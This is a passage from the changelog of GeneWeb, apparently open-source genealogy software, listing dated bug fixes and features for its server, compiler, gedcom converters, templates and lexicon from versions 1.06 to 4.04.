02] Added <table><tr><td nowrap> in display by surname, to avoid that the lines be folded. Replaced the <nobr> I had suppressed some time ago because it was not standard. - [26 Jan 02] The "calendars" page shows the time (of the server machine). - [20 Jan 02] Use of dates order (according to the language) in calendars page. * Gedcom to GeneWeb (ged2gwb) - [26 Feb 02] Some changes in witnesses (did not work any more), added the ability to be witness several times, fixed problems of dates written as text in titles. - [26 Feb 02] Fixed bug: did not import date FROM BET 1487 AND 1488. I am not sure it is correct gedcom but it can happen in title date range. * GeneWeb to Gedcom (gwb2ged) and Gedcom to GeneWeb (ged2gwb) - [20 Jan 02] Fixed bug when converting from and to ansel encoding: the German character es-tsett needed to be converted. * GeneWeb compiler (gwc) and Gedcom to GeneWeb (ged2gwb) - [10 Jan 02] Warranty that the index (istr) number of the empty string is 0 and of the string "?" is 1. * GeneWeb databases Transfer Program (gwtp) - [30 Jan 02] Grouped the two languages en and fr in common templates. * Setup program (gwsetup) - [04 Feb 02] When extracting a file (source or gedcom), take now the base name (the possible directory part is removed). * All executables - [10 Jan 02] No more statically linked by default. * Template files - [20 Jan 02] Fixed bug in perso.txt: has_image worked only for the current person. GeneWeb Version 4.04 -------------------- * GeneWeb daemon/CGI (gwd) - [31 Dec 01] Fixed bug: [*(month)]10 did not work in templates, because only one character was scanned. - [24 Dec 01] Added ability to create a file named "base_user_mess.txt" where base is the data base name, user a wizard name: in this case the connected wizard receive the contents of this file at each page which he receives. - [20 Dec 01] Added "align=left" to all "<tr>" tags because some browsers display them centered by default. - [10 Dec 01] In configuration file (base.gwf), if the variable "expand_env" is set to "yes" ("no" by default), the system environment variables are expanded in the values of the customized variables (whose name start with "var_"). The syntax for environment variables si ${xxx} where xxx is the environment variable. See the example configuration file a.gwf of the distribution. - [17 Dec 01] Added request variables "by=", "bm=" and "bd=" in displaying of the latest birthdays and death days to specify resp. a year, a month and a day before. - [05 Dec 01] Fixed bug: when merging a person with family with a person with neuter sex, failed (assertion error). - [27 Sep 01] Added "%image_txt;" as variable in perso.txt. Return the person key used as default image name. - [19 Sep 01] Shorter names for variables in update family form, in order to have a shorter communication length and perhaps that it works better with internet explorer. - [19 Sep 01] Trace: too big texts in referer now cut. * Gedcom to GeneWeb (ged2gwb) - [05 Dec 01] Deletion of heading and trailing spaces in some fields. It resulted fields (occupation, sources) having just a space and gwu exported bad results. * GeneWeb databases Transfer Program (gwtp) - [05 Oct 01] Added other acceptable tags in trl files: ul, ol, li, table, tr, td. * Compilation - [07 Sep 01] All executables are now compiled static (no dynamic library) * Everywhere - [27 Nov 01] Changed all "data base" into "database". I am too bad in English... :-) GeneWeb Version 4.03 -------------------- * GeneWeb daemon/CGI (gwd) - [06 Aug 01] Removed <nobr></nobr> in descendants display. - [13 Jul 01] In auth files, added ability to add a ':' after the password followed by a comment. - [11 Jul 01] Added trace of latest connected friends base_f.txt if there is a friend password file. (already exist for wizards) * Lexicon (lang/lexicon.txt) - [14 Jul 01] Added phrase "undefined sex for %t". * GeneWeb databases Transfer Program (gwtp) - [13 Jul 01] Added "wizard_just_friend" which is now configurable under gwtp. GeneWeb Version 4.02 -------------------- * General - [12 May 01] Added a directory "contrib". * Compilation - [17 Apr 01] Added tools/pa_newseq.ml because the Camlp4 revised syntax has changed for sequences. Allow to compile with both old and new versions of Camlp4. * GeneWeb daemon/CGI (gwd) - [17 Jun 01] Fixed problem in display by places/surnames when surnames have declinations: were displayed with their declinations instead of the nominative form. - [03 Jun 01] Fixed inverted alphabetic order of first name for index of descendants and spouses. - [01 Jun 01] Changed displaying in forum: the header are displayed by groups of two months, in order that the changes of the tables sizes in a new month be invisible. - [12 May 01] In request names by alphabetic order (short display), added ability to add ";atleast=xx" where xx is a number, to display only names having at least xx individuals. - [03 May 01] Rewrote some parts of name.ml in a cleaner and surer way. - [21 Apr 01] Added small test in relation.ml in case of request with bad fef parameter to avoid request failure. - [21 Apr 01] Changed robot traces (sorted by number of requests). - [15 Apr 01] In case of overflow while counting relationships, now display *** (instead of the number which overflowed). - [08 Apr 01] In forum headers displaying, put one table for each date, in order that we don't have to wait the end of the table to see the first messages * Lexicon (lang/lexicon.txt) - [25 Apr 01] Deleted some not so important phrases used only in anniversaries of dead people: "of the birth" (using "birth") and "of the death", "of the murder", "of the execution", "of the disappearance" (using "death"). * Setup program (gwsetup) - [09 Apr 01] Changed word "configurate" (which does not exist!) into "configure". - [08 Apr 01] fr/gw2gd.htm: fixed errored message GeneWeb Version 4.01 -------------------- * GeneWeb daemon/CGI (gwd) - [01 Apr 01] The URL to access GeneWeb images does not contains the "?" character any more (in this case, all browser will put hopefully put them in their cache). - [23 Mar 01] The log count is now displayed in the traces before the traitment. - [20 Mar 01] Added + as possible character in an URL. - [15 Mar 01] Added file "alias_lg" in lang directory to specify aliases for languages. GeneWeb Version 4.00 -------------------- * GeneWeb daemon/CGI (gwd) - [10 Mar 01] When sending an image with wrong content type, display that content type in an error page. - [20 Feb 01] Added option '-images_dir': works like '-images_url' but the parameter is a directory (absolute or relative to the -hd directory), where the images are supposed to be. This has been added to be able to add file:// accesses to images in Windows version. - [14 Feb 01] Fixed problem in lexicon: declinations were missing, e.g. combinations "merge persons" or "switch families" did not work in Esperanto. - [13 Feb 01] If "propose_add_family" is "no" in config file, forbid to add families not connected to the rest (i.e. "ok" on "add family" form when everybody is "create"). - [12 Feb 01] In list of all persons sharing same title, the "tree" link is proposed also for browser without tables. - [07 Feb 01] Fixed problem in dag2html. Had to add functions (shorten_too_long and bottom_adjust) to shorten too long branches which may appear in the algorithm. * Lexicon (lang/lexicon.txt) - [01 Mar 01] The existing trailing spaces at end of lines are deleted. Now gwd and the other utilities accept the line "xx:" without trailing space as an empty translation. * GeneWeb compiler (gwc) - [14 Feb 01] Delete empty titles (titles with empty identifier) * Template files - [16 Feb 01] Changed "%origin_file;": displays just the origin file (if wizard). The test "opt=from" is now done in perso.txt by eval_opt = "from" (new syntax). GeneWeb Version 3.11 -------------------- * Images - [03 Feb 01] Installed a much smaller GeneWeb logo. * GeneWeb daemon/CGI (gwd) - [31 Jan 01] Changed default mac_anc_tree to 7 (instead of 5) - [20 Jan 01] Added request "m=KILL_ANC" to kill someone's ancestors. Allowed only if variable "can_kill_ancestors" is set to "yes" in the configuration file. Not documented because need interface with buttons, links, intermediate pages to ask for confirmation, things like that. - [30 Dec 00] When option redirected used, the traces now display the referer. - [27 Dec 00] Fixed problem: age at death were sometimes not displayed when it should have to be. - [19 Dec 00] Fixed several problems of declinations appearing in esperanto version (e.g. texts "parents", "notes"). * Lexicon (lang/lexicon.txt) - [21 Jan 01] Changed phrase "up to" to accept ask for declination. Changed the translation in Czech (Hanus Adler) to indicate the good declination after it. * Setup program (gwsetup) - [30 Dec 00] Fixed information file about how to put a background image, the URL to use and the directory were wrong (obsolete). * GeneWeb databases Transfer Program (gwtp) - [05 Feb 01] Added a trace in case of error. So far, there were no traces, it just stopped. GeneWeb Version 3.10 -------------------- * GeneWeb daemon/CGI (gwd) - [28 Nov 00] Fixed problem in relationship displaying in German; sometimes displayed "ein:d:+em" in the text. - [26 Nov 00] In merging persons the default selected number is now 1/ the lowest if the first names are the same or 2/ the first one if the first names are different. - [18 Nov 00] Changed inference of origin file: trying to link to father or mother's other marriages first. - [10 Nov 00] Fixed bug in titles tree: when the same person appeared several times in the title list, the title tree showed his last order number instead of his (more logicial) first order number. * Installation by Linux rpm - [07..09 Nov 00] Many improvements. See geneweb.spec changelog GeneWeb Version 3.09 -------------------- * General - [29 Oct 00] Added useful function list_iter_first. Deleted functions applied to list to accept old versions of OCaml: now, it is necessary to compile with at least version 3.00. - [12 Oct 00] Changed all "nick_name" into "qualifier" in all source files. * GeneWeb daemon/CGI (gwd) - [31 Oct 00] Created the request "m=RLM" followed by the list of persons to link two by two to create arbitrary dags (i1=...;i2=...;i3=... and so on). Besides, the new code for initializing dags seems to be less bugged, giving better results for example in relationships by shortest path. - [30 Oct 00] In relation.ml changed the part computing the relationship by shortest path to get a function returning the result instead of displaying it and raising a "Found" exception. * GeneWeb uncompiler (gwu) - [02 Nov 00] Filter tabulations. * Consanguinity computing (consang) - [28 Oct 00] Put constants in progress bar (option -q) to have a more readable code. GeneWeb Version 3.08 -------------------- * Makefile - [29 Aug 00] Added variable DESTDIR to represent the distribution directory (request from Debian packagers). * GeneWeb daemon/CGI (gwd) - [22 Sep 00] Fixed gwd traces in case of cgi access with user:passwd; now display the user name in traces, not just the fact he is wizard or friend. - [14 Sep 00] Replaced srcfile.ml macros %d and %t by %s followed by the configuration variable and semicolon: resp. %spropose_add_family; and %spropose_titles;. Same change in start.txt files. - [13 Sep 00] For etc files (e.g. personal index.txt), added macros: %+ to increment a counter and %# to display it. - [12 Sep 00] In traces suspension points for long requests are applied in the middle instead of at end. - [25 Aug 00] Fixed option -redirect: did not apply to all requests - [22 Aug 00] Added test: no more display "age at death" if negative (because of erroneous dates). * Gedcom to GeneWeb (ged2gwb) - [23 Sep 00] Fixed bug: if GIVN = first name, should have ignored it, but did not. * GeneWeb databases Transfer Program (gwtp) - [06 Sep 00] Added ability to change the default language. - [22 Aug 00] Fixed bug: worked only if the CGI name was gwtp (could not be gwtp.cgi, for example). Fixed also the distribution: template files used by gwtp (3 files ending with .txt) were not installed. Fixed also a problem: when downloading a file, the proposed name for the file was not the good one (a trick was used but worked only with Netscape, not IE); changed the same thing for images in gwd. GeneWeb Version 3.07 -------------------- * GeneWeb daemon/CGI (gwd) - [12 Aug 00] For relationlinks by shortest path, if "cancel GeneWeb links" is selected, now it is applied to all pages browsed by ">>". - [12 Aug 00] Added also check baptism date to determine public and private. - [08 Aug 00] In first names by alphabetic order for a given surname, use now (the translation of) "%1 of %2" instead of "of". - [26 Jul 00] Fixed detail in Wserver: closed socket before callback in order to allow the callback to fork processes without being blocked - [25 Jul 00] Restructured Wserver to be cleaner and to save memory when sending big files. - [19 Jul 00] Message "Ready" of gwd display now date as yyyy-mm-dd. - [12 Jul 00] Refreshes with possible good address when bad character in base name (e.g. http://host.com/foo/ instead of http://host.com/foo?) - [12 Jul 00] "Server" answer separate "GeneWeb" and version number with a slash. GeneWeb Version 3.06 -------------------- * Setup program (gwsetup) - [28 Jun 00] Take only the 1st two characters of the language given. * GeneWeb daemon/CGI (gwd) - [12 Jul 00] Added "GeneWeb" and version in server answer. - [11 Jul 00] The first nobility title in personal page is no more capitalized. - [23 Jun 00] Added the macro %u in trailer files (base.trl) which is expanded as the current URL. - [22 Jun 00] Added, in the system of translation in welcome page with [], the ability to put an entry holding %d, with parameter after the [] between parentheses. Allows to have one common version of the paragraph "anniversaries" (and co). - [17 Jun 00] Suppressed traces of rejected robots failing on password accesses. * Welcome pages (*/start.txt) - [12 Jul 00] Completed Esperanto version - [21 Jun 00] The texts after "You can also consult" are now the same for all the welcome pages and translated from the lexicon. GeneWeb Version 3.05 -------------------- * General - [08 Jun 00] Strip executables. - [07 May 00] The files CHANGES and LICENSE now end with .txt. * Gwsetup program - [06 Jun 00] Hacked to fix a problem in clean up: the file cleanup_err.htm is missing in all languages! Used "bsi_err.htm" instead. * GeneWeb daemon/CGI (gwd) - [04 Jun 00] Check about titles dates no more done against the death date, since titles can be given after death. - [19 May 00] Added a small + in display ancestors horizontally. Seems more pretty :-) - [17 May 00] Fixed problem of the request "robots.txt": the lines ends were "ctrl-o ctrl-j" instead of "ctrl-m ctrl-j (\r\n). - [14 May 00] Does not fail any more ("document contains no data") when the "cnt" directory has no access permissions. - [10 May 00] Changed traces when wizards, friends, global accesses. - [10 May 00] Reply now "no access" for attempt of access to database in CGI mode when base auth file defined (because that works only in server mode). - [04 May 00] Dates "or year" and "year interval" are shortly displayed now as "ca y1/y2" instead of just "ca y1". * GeneWeb uncompiler (gwu) - [16 May 00] Added options -sep and -sep_limit to be able to separate families in different files. * GeneWeb daemon/CGI (gwd) and uncompiler (gwu) - [03 May 00] Delete possible trailing space or newline at end of sources (code missing in some places). * Gedcom to GeneWeb (ged2gwb) - [09 May 00] Added notes CONC when sons (e.g. 2 CONC following 1 CONC). GeneWeb Version 3.04 -------------------- * General - [12 Apr 00] Cleaned up the code to provide a version without process nor threads (ifdef NO_PROCESS). Can prepare a possible Macintosh version. * GeneWeb daemon/CGI (gwd) and welcome files (lang/*/start.txt) - [23 Apr 00] Added macro %m = value of "latest_event" of base.gwf and put links "m=LB;k=%m" "m=LD;k=%m" "m=LM;k=%m" in welcome pages, so showing the default value and indicating (to smart people) the way to change it in the URL. * GeneWeb compiler (gwc) - [28 Apr 00] Cut possible trailing spaces in some input fields * GeneWeb uncompiler (gwu) - [02 Apr 00] Fixed problem in gwu: families could be written several times if phony spouses with several marriages. * GeneWeb compiler (gwc) and uncompiler (gwu) - [02 Apr 00] Added some missing "quote_escaped" in UpdateInd.ml (bug about quotes) - [30 Mar 00] In latest births, skip a line after future births if any. - [23 Mar 00] Generates "csrc" if at least two children have the same #src value (save file length). Added "cbp", idem for the birth place (#bp value). * Gedcom to GeneWeb (ged2gwb) - [10 Apr 00] Applies now "-fne" before "-efn". GeneWeb Version 3.03 -------------------- * GeneWeb daemon/CGI (gwd) - [20 Mar 00] Generates "pz,nz,ocz" instead of "iz" (Sosa reference) when access_by_key. - [16 Mar 00] Added "zur" as particle. - [16 Mar 00] Improved the inferring of origin_file field when updating a family. Now searches also among other marriages. - [05 Mar 00] Changed images request, because it was possible to display the images even for private persons ("friend" security hole). Consequently, there are now two forms of the "m=IM" requests: one for persons (images accessed in directory "bd/images/base"), one for other images (images accessed in directory "bd/images" or "hd/images"). Other consequence: background images must *not* be put in bd/images/base directory. - [05 Mar 00] In m=RL, added ability to add ";tab=on" or ";tab=off" to force printing with or without tables. - [23 Feb 00] Fixed bug: in notes, when "<a" and "href" were separated by a newline instead of space, it was not considered to be in the tag "a href" and if followed by "http://" could erroneously generate a link. - [21 Feb 00] Add a + for dead people without date, even if their birth date clearly shows that they must be dead. - [09 Feb 00] Added link to welcome in anniversaries pages. - [02 Feb 00] Fixed little problem in anniversaries: when other calendars than Gregorian (e.g. Julian), could select "anniversary" even for persons having only the year in their date (fixed by testing the field "delta" in the date record). - [01 Feb 00] Added indentation in forum to make it more readable. - [25 Jan 00] Display the number of persons in some more pages. Don't display it when number <= 1. - [25 Jan 00] Changed the limit for public persons to 150 years instead of 100 years: persons must have been born and dead before 150 years to be public. - [21 Jan 00] When searching for somebody, if several persons have this name, display name of spouses for men also. - [20 Jan 00] Fixed omission in 'advanced.txt': I forgot to change the [not dead] into [alive]. - [19 Jan 00] In traces, display dates in standard, i.e. using - instead of / in year-month-day. - [22 Mar 00] Fixed bug: if interruption (break, control C) between the display of "*** ok" and the end, the base is lost without save. - [22 Mar 00] In option "-q" display a rotating wheel. * GeneWeb uncompiler (gwu) - [19 Mar 00] Convert newlines into spaces for fields supposed not to contain newlines (e.g. sources). - [27 Feb 00] Deleted backward compatibility giving "main title" according to the title name. * Gedcom to GeneWeb (ged2gwb) - [19 Feb 00] The option "-ds" applies now to families too. * GeneWeb to Gedcom (ged2gwb) - [22 Mar 00] Now faster, by preloading "unions" and "descends". * Lexicon (lang/lexicon.txt) and welcome pages (lang/*/start.txt) - [21 Jan 00] Changed "anniversaries of dead" into "annivesaries of death" - [13 Jan 00] Changed "living" into "alive" GeneWeb Version 3.02 -------------------- * GeneWeb daemon/CGI (gwd) - [Jan 15, 00] Big acceleration of some dags displays by setting a smaller threshold (10 instead of 15) in relationLink.ml - [Jan 14, 00] No more hypertext link for spouses and all relations in relationlink computing page. - [Jan 11, 00] Put a separation (<td>&nbsp;</td>) between the two branches in simple relationship displaying. - [Jan 9, 00] Centered title "genealogical database". - [Jan 9, 00] Added the ability to add ";td=bgcolor=xxx" in URL when printing a dag. Color the square of the person. - [Jan 5, 00] Added the ability to add ";bd=n" (n >= 1) in URL when printing a dag. Put a square around each person of the tree. - [Dec 14, 99] No more compatibility with old relationship request form e=... - [Dec 14, 99] Changed things so that adding ";em=R;ep=fn;en=sn" in the URL generates relationship computing with "fn sn" in welcome page and in notes (already worked for many other page kinds). * Lexicon - [Jan 14, 00] Deleted entry "his wife/her husband": use now "husband/wife" in all cases. GeneWeb Version 3.01 -------------------- * GeneWeb daemon/CGI (gwd) - [Dec 2, 99] Added a system of "areas" in databases protected by a password, based on the name of the ".gw" files => works only for databases created with "gwc". - [Nov 23, 99] Fixed problem of selecting a first name: sometimes it did not work. Used "Name.lower" instead of "Name.strip_lower" for the list for a future selection. - [Nov 19, 99] Fixed bug: redirected service and renamed service messages did not work in cgi mode - [Nov 13, 99] Added some checks of access tables out of bounds - [Nov 13, 99] Added link to welcome page in case of not found - [Nov 9, 99] Chop suffix ".gwb" if the base name has it in URL - [Nov 6, 99] The URL for the "up" image now independent from the database - [Nov 5, 99] Red display title for not found persons. - [Nov 5, 99] Lengthened the height of the database notes area. * GeneWeb compiler (gwc) and uncompiler (gwu) - [Nov 9, 99] Fixed problem for titles holding the character colon. The gwc raised syntax error. * Gedcom to GeneWeb (ged2gwb) - [Nov 8, 99] Fixed little problem with TITL field: could sometimes create bad titles names without label an place for gedcoms not coming from GeneWeb * Lexicon - [Nov 23, 99] Added entry "maximum". Deleted entry "max %d generations". Changed entry "generation" into "generation/generations". GeneWeb Version 3.00 -------------------- * GeneWeb daemon/CGI (gwd) - [Nov 1, 99] Print relations only for friends and wizards. - [Oct 31, 99] Added macro %k for images in order to have the same request for any database in any language. And several changes to make the DOC request independent from the database. - [Oct 25, 99] Modified the treatment of nth (overflowing after 100) to display the number itself (better than just "n-th"). - [Oct 25, 99] Commented the loading of the whole persons and families arrays in "descend.ml": supposed to make things go faster but consumming 13M in my database when clicking on "descendants" for anybody. - [Oct 15, 99] Added a check of month day in gregorian dates. - [Oct 9, 99] Added a "suicide" request: if exists in the request, the sender go the the robot black list... by setting a hidden URL with that in pages, I can detect them... ha ha ha. - [Oct 9, 99] Fixed bug in "family.ml": for the page "specify" the normal chronological order sometimes did not work correctly. - [Oct 6, 99] When displaying ascend tree in Lynx, changed disposition so that it is displayed in decreasing order of Sosa number. * Consanguinity computing (consang) - [Oct 6, 99] Improved it to save memory. GeneWeb Version 2.07 -------------------- * Gwsetup program - [Sep 25, 99] While saving a ".gwf" file, add the variables not treated in the form, but present in the file. * GeneWeb daemon/CGI (gwd) - [Sep 30, 99] When modifying a person, does not keep the notes when his first name or surname hold a "?" since it cannot not saved in GeneWeb source files. - [Sep 29, 99] Errorred when clicking on surnames by alphabetic order on empty databases. Fixed. - [Sep 28, 99] Forgot sharp (#) as possible character in URLs. Fixed. - [Sep 26, 99] Fixed bug of ordering persons by dates in "specify" page. GeneWeb Version 2.06 -------------------- * General - [Aug 31, 99] Changed internal representation of databases to add "notes origin file" and "sources" for global notes. - [Aug 16, 99] Now "make" does "make opt". To run the older "make" do "make out". The installation tells to run "make" (i.e. "make opt"). The previous installation version told to run "make" and "make opt" but it is unuseful to run both. * Setup program and GeneWeb daemon - [Aug 16, 99] In distribution (make distrib), creates "setup" and "gwd" as shell script wrappers under Unix and .bat files wrappers under Windows. Added the executable "setup" in "gw" directory as name "gwsetup". * GeneWeb daemon/CGI (gwd) - [Aug 30, 99] To make the new option "-no_pit" of ged2gwb, had to change the policy of private/public/iftitles. - [Aug 21, 99] Added request mode "TREE" to display general tree; no interface for it for the moment... - [Aug 17, 99] If option "-auth" used, print the password area like in cgi mode (i.e. an input area instead of hypertexts triggering a window for password), because the auth password and the wizard/friend password are contradictory. - [Aug 17, 99] In display by first name or surname, when several spellings are found, display them in decreasing frequence order. - [Aug 14, 99] In srcfile.ml, for start.txt files, added "o" macro (print if notes) and ability to decline verb + noun ([verb][noun] without space between 1st ] and snd [). - [Aug 8, 99] Improved -robot_xcl option (to exclude impolite robots). - [Aug 7, 99] Fixed bad behavior: in welcome pages, proposed "wizard" to to wizards when the flag "wizard_just_friend" was set. * GeneWeb to Gedcom (gwb2ged) - [Aug 31, 99] For adoptive parents, does not generate a CHIL field any more in adoptive parents family. GeneWeb Version 2.05 -------------------- * General - [Jul 22, 99] Added functions p_first_name and p_surname to prepare installation of declined forms for names. Hope it works one day (not sure...) - [Jul 15, 99] Changed internal reprentation of strings in databases: no more use of ansel encoding, returning back to version 1.06. Should not change anything to normal users. This was done because of too many drawbacks (many displaying bugs, code more complicated) against too few advantages (displaying supposed to be correct when mixing various encodings). Anyway, code is smaller. * GeneWeb daemon/CGI (gwd) - [Aug 6, 99] Dates in traces are now yyyy/mm/dd instead of dd/mm/yyyy - [Aug 5, 99] Restored the system of robot exclusion (had been deleted in version 1.10). - [Aug 3, 99] Increased speed of clicking on "ancestors" by pre-loading the arrays "ascends" and "couples". [Aug 5, 99] Idem with "descendants" by pre-loading "persons" and "families". - [Aug 3, 99] In ancestors and descendants pages moved the "Ok" near the selection popup menu. - [Jul 28, 99] In update family forms, shortened the names of the variables "first_name" and "surname" into "fn" and "sn". - [Jul 23, 99] Check translated formats (phrases holding %'s) displaying the initial format if failed (instead of scratching). - [Jul 9, 99] Changed request syntax for cousins: "v1=#" instead of "v=#" and ability to ask for "v1=#;v2=#" for uncles and nephews... - [Jul 2..Aug 2, 99] Added "access_by_key" in "base.gwf" files to generate accesses by keys instead of index in the person array (which can change when recompiling the base), allowing to update the database without disturbing the users accessing it. * GeneWeb compiler (gwc) - [Jul 20, 99] Translated into English some variables and functions whose names where in French or in mixed French-English. GeneWeb Version 2.04 -------------------- * Installation - [Jun 30, 99] Added "README.txt" (English) and "ALIRE.txt" (French) in distribution just to say that you have to launch the program "setup". GeneWeb Version 2.03 -------------------- * New - [May 30, 99] Added program "fpla": first parentless ancestors. Given a database, displays the Sosa number of the first ancestor without parent. Sorted by Sosa numbers: the first displayed person is therefore the person whose ancestors list is the most complete. * Setup program - [May 12, 99] Added "charset=iso-8859-1" in headers (undefined, before). - [May 11, 99] Give up the second command of base recovery when the first one returns an error code. * GeneWeb daemon/CGI (gwd) - [Jun 2, 99] Deleted the "&nbsp;" added between "on" (or any preposition before a date) and a date. Reasons: 1/ it was not absolutely necessary, 2/ there was a problem with the empty Swedish translation of "on (year)" the translation of "dead on 1953" was "död &nbsp;1953" resulting on the displaying of two spaces. - [May 23, 99] Deleted supposed unuseful code, particularly in MergeIndOk, to make code cleaner, hopefully not introducing bugs. - [May 23, 99] Added renitialization of field "consang" when modifying families to prepare new version of program "consang" (minimalist). - [May 18, 99] Added thousand separator for displaying of number of persons in the welcome page. * GeneWeb uncompiler (gwu) - [May 28, 99] Fixed missing newlines when the initial sources came from several files and the option -odir was not used. * Compilation - [May 23, 99] Separed consang computation in another file "consangAll.ml". - [May 12,99] Fixed YAAP (yet another accent problem...) - [May 8, 99] Added "make opt" case in "setup" to build optimized versions. GeneWeb Version 2.02 -------------------- * GeneWeb daemon/CGI (gwd) - [May 4, 99] If default_lang of some base (file "base.gwf") is empty set it to default_lang of command "gwd" (was set before only when default_lang was not defined). Changed for the "setup" program. - [May 2, 99] Fixed small uncomfortable feature: when a new couple was added with new (created) persons, then modified to add existing children, the field "origin_file" was not updated for the family. The result is when using "gwu -odir" this new family was displayed on standard output instead of saved in the origin file of a child. - [May 1, 99] Fixed behavior in updating persons form for burial. - [Apr 28, 99] Fixed fragile part of code that reads the lexicon. Raised 'Invalid_argument "String.sub"' if the lexicon held lines interpreted as keys but of string length < 4. The lexicon should not, but if it is corrupted for some reason, this was not a good error message! - [Apr 28, 99] Added the ability to add a file named "refuse.txt" to explain reasons of gwd exclusion. - [Apr 24, 99] Don't print "+" in short dates for died person if there is no death date and if the person is older than 120 years, as it was done in 2.01 for long dates displaying. * GeneWeb compiler (gwc) GeneWeb uncompiler (gwu) Consanguinity computing (consang) GeneWeb to Gedcom (gwb2ged) - [May 2, 99] Changed return code in case of errors found. Now 2. Error messages on stdout instead of stderr. Had to be changed for the new "setup" program. GeneWeb Version 2.01 -------------------- * General - [Mar 31..Apr 5, 99] Changed some types, labels, constructors, functions names, cleaned up some code. * GeneWeb daemon/CGI (gwd) - [Apr 20, 99] Changed title text "nth generation" into "Generation n" because of necessity in Swedish to add another translation. - [Apr 19, 99] Added "value=on" in checkboxes generated HTML code. Seemed to be the default in several browsers (Netscape, IE, Lynx) but not all of them (Kfm). - [Apr 15, 99] Changed link of "gwd.opt", separating the objects in two parts, using cmxa files, because Windows 98 (or maybe Cygnus) does not work with this too long line, I don't know why. No difference in Unix. - [Apr 6, 99] Big cleanup about titles (hopefully not introducing bugs). - [Apr 3, 99] Don't print "died" in personal page if this is the only information (no date, no place) and if it is older than 120 years. - [Mar 22, 99] Ability to put "*" (to match any characters) in lines in exclude file. - [Mar 20, 99] When merging families, does not print any more the intermediate page when there is no differences to select. - [Mar 16, 99] Deleted display of trailing space in some links like in "Modify" in page "update" for example. - [Mar 14, 99] Cleaned up some generated HTML code. - [Mar 10, 99] Inlined "List.remove_assoc" in order to be compilable by OCaml and Camlp4 2.01 as well. * Welcome pages (hd/lang/xx/start.txt) - [Mar 20, 99] Changed order of links for displayed anniversaries and latest births and deaths. * Lexicon (hd/lang/lexicon.txt) - [Mar 22, 99] Changed "allied%t (euphemism for married or... not) to" into "allied%d to". Changed French translation "allie" into "marie". * Wserver (../wserver/wserver.ml) - [Mar 22, 99] Completed "special" list of characters that must be encoded (according to Jean-Christophe Filliatre). GeneWeb Version 2.00 -------------------- * GeneWeb daemon/CGI (gwd) - [Mar 8, 99] Fixed bug for excluded addresses in cgi mode. - [Mar 4, 99] Deleted all "open Unix" and use of "Unix." for all unix function. Deleted "Pervasives.". - [Feb 27, 99] No more newline before the ending dot of the titles displaying in personal pages. - [Feb 18. 99] Added (undocumented) feature: adding ";opt=spouse" to an URL of relationship link (m=RL), the spouses are displayed. * Doc - [Feb 23, 99] Correct HTML for creation of LICENSE.htm in directory doc. GeneWeb Version 1.11 -------------------- * GeneWeb daemon/CGI (gwd) - [Jan 29, 99] Print clear messages when missing files (lexicon.txt, etc.) - [Jan 12, 99] Changed test in input_lexicon (gwd.ml): length of line < 4 instead of line = "": better test to avoid failures when bad lexicon files. * Gedcom to GeneWeb (ged2gwb) - [Jan 16, 99] Ignore abnormal errors (displaying "uncaught exception: Stream.Failure"). * GeneWeb compiler (gwc) - [Jan 23, 99] Forgot to skip tabulations while reading lines in ".gw" files - [Jan 12, 99] Failure error now displayed in stdout instead of stderr. * Most descendants computation (mostdesc) - [Jan 25, 99] Fixed little problem of alphabetic order. - [Jan 16, 99] Added mostdesc.opt in Makefile. GeneWeb Version 1.10 -------------------- * GeneWeb daemon/CGI (gwd) - [06/01/99] Added %y and %z as macros in srcfile.ml - [16/12/98] Translated some program record fields and constructors in english. - [16/12/98] Separated "base" into "base_data" and "base_func" to prepare code cleanup. - [15/12/98] Added forgotten i18n translation of "liens de parenté" (title) and added "head_no_page_title" in util's interface. - [14/12/98] Improved speed in families update: check_noloop made too many accesses to the base (unnecessary accesses to "persons"). - [13/12/98] In src/num.ml, display at least "0" when number is 0! - [12/12/98] Fixed horrible programming of base patches applying, which resulted in much memory allocation and time losing for bases having many added "things" (persons, families, strings). Now the code is cleaner. Consequence: saved speed and memory allocation in such bases in gwd, gwu, gwb2ged. - [11/12/98] Fixed bugs: newlines at end of fields displayed as newlines by "gwu", resulting of future syntax errors in "gwc" * GeneWeb uncompiler (gwu) - [11/12/98..12/12/98] Improved program (diminution of number of accesses to the base) to allow option "-mem" * Most descendants (mostdesc.out) - [29/12/98] Sort persons with same number of time by alphabetic order. * tools/camlp4_depend.sh - [13/12/98] Deleted "./" in depended file name, because that worked bad in alpha. GeneWeb Version 1.09 -------------------- * gwc: - Added lazy building of topological sort file inside bases (accelerate Sosa number computing in personal pages and relationship links). - Send error and warning messages on stdout, instead of stderr. - Delete non printable characters (e.g. newlines) in strings (first names, etc.) coming from forms. - Fixed some displaying and behavior bugs when adding elements in merging forms. - Fixed some displayed "value=" when the value hold the " character - Some parts of relationship computing use big nums (module Num). Still incomplete. - Change in request syntax "relation... with..." to allow explicit first names and surnames instead of i=. Ex: old syntax (still there for compatibility during some versions) base?e=m%3DR%3Bi%3D31440&m=NG&n=somebody&t=PN new syntax: base?em=R;ei=31440&m=NG&n=somebody&t=PN and ability to write in a direct link: base?em=R;ep=jack;en=nicholson;eoc=3&m=NG&n=somebody&t=PN to be somewhat independent from the index of "jack nicholson" in the base. - Hidden options in requests: ";opt=from" in personal pages, gives the .gw origin file (if any) ";opt=misc" in personal pages, gives the list of miscellaneous names - More complete traces in CGI mode * ged2gwb: - Display message "Strange input" giving the line number instead of character number. * added tools/camlp4_depend.sh to compute dependencies with camlp4 .cmo files in src directory. * added program "mostdesc" (not distributed in executable versions) computing the "most descendants from someone". * changed "pauillac" into "cristal" in addresses. GeneWeb Version 1.08 -------------------- * gwc: - Changed HTML generated by "last 10 births". - strip possible newlines in sources and comments while updating or creating families - small change in warning message telling that children has been reordered: "before" persons are no more clickable - forgot to reset some fields when a person is deleted GeneWeb Version 1.07 -------------------- * Documented structure of bases (file iobase.ml). * ANSEL encoding in base * gwc: - Fixed bug: hash table now with "crush_lower" names, not "strip_lower" because error while compiling base with names "Marie d'Orange" and "Marie Dorange", different in "gwd" but equal (beforewards) in "gwc". - Fixed bug: while decoding strings fields, forgot to skip the possible space (underscored). - A file "command.txt" is created into the base, showing the command line used like for the command "ged2gwb". * gwd: - Don't display person number any more in update form when holding ? in his/her surname or first name - Fixed bug: when updating person, checks were done before patch. - Strip spaces of first names and surnames in forms. * consang: - fixed bug: raised error for empty databases * ged2gwb - not error if no space after initial number GeneWeb Version 1.06 -------------------- * Restructuration (perestroika) for distribution of sources. * Some changes for compilation with version 2.00 of OCaml and Camlp4. * gwd: - added cannot change sex of married person while updating person, this check was missing - changed Name.crush to separate case "roman numbers" and "i" is now treated as other vowels - changed "(%d fois)" into "(%d)" in "descendants, only the 